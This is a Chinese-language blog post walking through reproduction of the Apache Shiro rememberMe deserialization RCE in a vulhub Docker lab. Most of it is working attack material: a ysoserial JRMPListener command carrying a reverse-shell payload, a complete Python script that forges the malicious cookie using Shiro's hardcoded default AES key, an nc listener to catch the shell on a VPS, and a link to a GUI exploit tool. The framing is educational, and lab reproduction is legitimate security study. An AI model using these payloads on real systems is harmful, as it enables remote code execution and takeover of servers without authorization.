资讯专栏INFORMATION COLUMN

shiro反序列化漏洞复现

Chao / 1145人阅读

摘要:目录简介靶场环境漏洞复现一手工复现二图形化工具简介是一个强大易用的安全框架,提供了认证授权加密和会话管理等功能。

简介:

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性
漏洞原理:
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单
影响版本: Apache Shiro < 1.2.4
漏洞挖掘: 响应包中包含rememberMe=deleteMe字段

靶场环境

vuluhub:自行百度

使用centos系统,进行docker进行部署,进入上图文件夹,执行如下命令,如下图所示为成功

docker-compose up -d   #启动docker-compose ps      #查看运行状态

漏洞复现

一、手工复现

访问ip+8080端口,是一个登录页面

使用burp抓取当前页面数据包,在cookie中添加rememberMe=1,在响应包中显示Set-Cookie: rememberMe=deleteMe,说明存在shiro框架,可能存在漏洞

1.通过ysoserial中JRMP监听模块,监听1099端口并执行反弹shell命令
在VPS中执行:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "反弹 shell 的命令"

注意:
1) 反弹 shell 的命令需要进行编码,在线转换网址:http://www.jackson-t.ca/runtime-exec-payloads.html

2) CommonsCollections5,数字5可换成1-12其中之一

  1. 生成payload(cookie)
python exp.py 公网 vps:1099


exp.py,python代码

import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdef encode_rememberme(command):    popen = subprocess.Popen(["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "JRMPClient", command], stdout=subprocess.PIPE)    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")    iv = uuid.uuid4().bytes    encryptor = AES.new(key, AES.MODE_CBC, iv)    file_body = pad(popen.stdout.read())    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    return base64_ciphertextif __name__ == "__main__":    payload = encode_rememberme(sys.argv[1])   print "rememberMe={0}".format(payload.decode())
  1. VPS开启nc监听
nc -nvlp 端口   #端口,就是上面写反弹shell的端口
  1. 在burp,cookie中插入payload
  2. 此时vps接收到shell

二、图形化工具

下载地址: https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51
使用方法: 输入待测地址,默认即可


发现key了,说明存在漏洞

执行下whoami,应该是成功了,但是木有回显

执行下反弹shell,nc监听4399端口

成功接收shell

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/121338.html

相关文章

  • X-ray捡洞中遇到的高频漏洞Shiro默认key、备份文件&amp;敏感目录泄露、Dru

    摘要:在服务端对的值,先解码然后解密再反序列化,就导致了反序列化漏洞。 用 X-Ray 刷洞发现一些出现频率高的漏洞,把漏洞原理和利用方式稍作整理,按照危害排名,低危漏...

    xuexiangjys 评论0 收藏0
  • weblogic漏洞总结复现

    摘要:在当前页面抓包后修改内容,写入冰蝎脚本文件。添加的内容为实现反弹。影响范围相关漏洞有复现过程环境这里先使用扫描一下是否开启了服务。使用工具写入。 目录 简介Web...

    glumes 评论0 收藏0
  • Apache shiro 权限绕过(CVE-2020-1957)

    摘要:权限绕过漏洞描述影响范围漏洞复现漏洞修复所有文章,仅供安全研究与学习之用,后果自负权限绕过是美国阿帕奇软件基金会的一套用于执行认证授权加密和会话管理的安全框架。漏洞描述框架通过拦截器功能来对用户访问权限进行控制,如等拦截器。 ...

    wangjuntytl 评论0 收藏0
  • 渗透测试——常见服务端口及对应的漏洞汇总

    摘要:一服务类弱口令漏洞利用可以上传包上传慢速攻击文件包含漏洞后台弱口令后台部署包反序列化远程代码执行后台弱口令任意文件泄露反序列化后台弱口令后台部署包测试页面上传反序列化暴力 ...

    2bdenny 评论0 收藏0
  • 网络安全漏洞复现与分析

    摘要:漏洞介绍的组件对外提供服务,其中使用了来解析用户传入的数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的数据甚至能通过反弹拿到权限。漏洞修复方法一删除组件,然后重启 ...

    Developer 评论0 收藏0

发表评论

0条评论

Chao

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<